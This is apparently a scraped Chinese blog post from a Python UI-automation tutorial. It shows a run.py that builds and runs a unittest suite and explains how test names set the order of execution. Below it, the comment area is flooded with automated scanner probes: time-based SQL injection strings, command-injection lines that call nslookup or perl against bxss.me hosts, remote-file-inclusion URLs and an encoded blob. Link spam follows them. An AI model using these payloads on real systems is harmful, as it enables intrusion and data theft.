Misty rain
python ui自动化框架 7:集合运行用例
本章主要讲解如何运行咱们编写好的测试用例test_case
在项目根目录uitest创建run.py
"""
@Author:Misty rain(ZhangHao)
@E-mail:676817831@qq.com
@FileName:run.py
@Software:PyCharm
@Desc:运行用例
"""
import os, sys
import commont.getfileposition as gf
import unittest
from testcase.test_a_search import TestSearch
# 将项目目录加入到环境变量
parent_path = os.path.dirname(sys.path[0])
roopath = gf.getrootpath()
sys.path.append(parent_path)
sys.path.append(roopath)
上面主要讲项目的根目录加入到环境变量中,下来我们来构建suite并运行用例
addTest添加用例运行
if __name__ == '__main__':
# 构建suite(第一种方法,添加类的用例函数,此方法需要一个个添加)
suite = unittest.TestSuite()
suite.addTest(TestSearch('test_searchnull'))
suite.addTest(TestSearch('test_searchtest'))
run = unittest.TextTestRunner()
run.run(suite)
将test_searchnull,test_searchtest添加到suite,然后调用run运行用例。此方法需要一个个添加用例,在实际生产中可能并不适用,但是可以作为调试使用。
addTest添加文件夹
suite = unittest.TestLoader().discover(roopath + '/testcase')
run = unittest.TextTestRunner()
run.run(suite)
添加testcase文件夹然后运行,这里要注意运行顺序的规则:默认顺序执行,需要调整用例的名称;顺序a,b,c,d / 1,2,3,4
我们将test_search更改名称test_a_search,复制出一份test_b_search,将test_a_search里面的用例改为:test_b_searchnull,test_a_searchtest。那么我们运行的顺序是:
test_a_search:
test_a_searchtest,
test_b_searchnull。
test_b_search:
test_a_searchnull,
test_b_searchtest。
文件和用例都是以a,b,c,d的顺序来运行,双数也是如此:aa,ab,ac。这样我们可以通过用例命令的方式来调整用例执行的顺序。
1
1
1
1
1
1
1
1
1 waitfor delay '0:0:15' --
3xh5gY6s'; waitfor delay '0:0:15' --
@@pCMpR
1
1
1
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
555
555
1
1
1
1
1
1
1
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5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ96QAD+/60eAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=}!}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
$(nslookup hitssgeatoikmef796.bxss.me||perl -e "gethostbyname('hitssgeatoikmef796.bxss.me')")
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
'"()
)
&(nslookup hitnqmzvojhbq8eb9a.bxss.me||perl -e "gethostbyname('hitnqmzvojhbq8eb9a.bxss.me')")&'\"`0&(nslookup hitnqmzvojhbq8eb9a.bxss.me||perl -e "gethostbyname('hitnqmzvojhbq8eb9a.bxss.me')")&`'
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
!(()&&!|*|*|
|(nslookup hitcolwdmgszf17522.bxss.me||perl -e "gethostbyname('hitcolwdmgszf17522.bxss.me')")
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
^(#$!@#$)(()))******
`(nslookup hitzbhlnhffqv0a5a7.bxss.me||perl -e "gethostbyname('hitzbhlnhffqv0a5a7.bxss.me')")`
1some_inexistent_file_with_long_name.jpg
-1; waitfor delay '0:0:15' --
'.gethostbyname(lc('hitvy'.'mkngkmufb696b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(87).chr(109).chr(84).'
;(nslookup hitwqeqhbaooba8a7a.bxss.me||perl -e "gethostbyname('hitwqeqhbaooba8a7a.bxss.me')")|(nslookup hitwqeqhbaooba8a7a.bxss.me||perl -e "gethostbyname('hitwqeqhbaooba8a7a.bxss.me')")&(nslookup hitwqeqhbaooba8a7a.bxss.me||perl -e "gethostbyname('hitwqeqhbaooba8a7a.bxss.me')")
Http://bxss.me/t/fit.txt
-1); waitfor delay '0:0:15' --
".gethostbyname(lc("hituc"."zaujftdlf9439.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(81).chr(108).chr(71)."
http://bxss.me/t/fit.txt?.jpg
1 waitfor delay '0:0:15' --
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
555
555
555
555
555
555
555
1Bq85pXqTQO
1
-5) OR 517=(SELECT 517 FROM PG_SLEEP(15))--
555
555
555'"()&%
ImGW(9669)555'"()&%
uvun(9464)555
1
1
1
1
1
看到你的文章,我仿佛感受到了生活中的美好。 http://www.55baobei.com/NS0EoE2cbS.html
你的文章让我感受到了不一样的视角,非常精彩。 http://www.55baobei.com/yQYWUS7qhW.html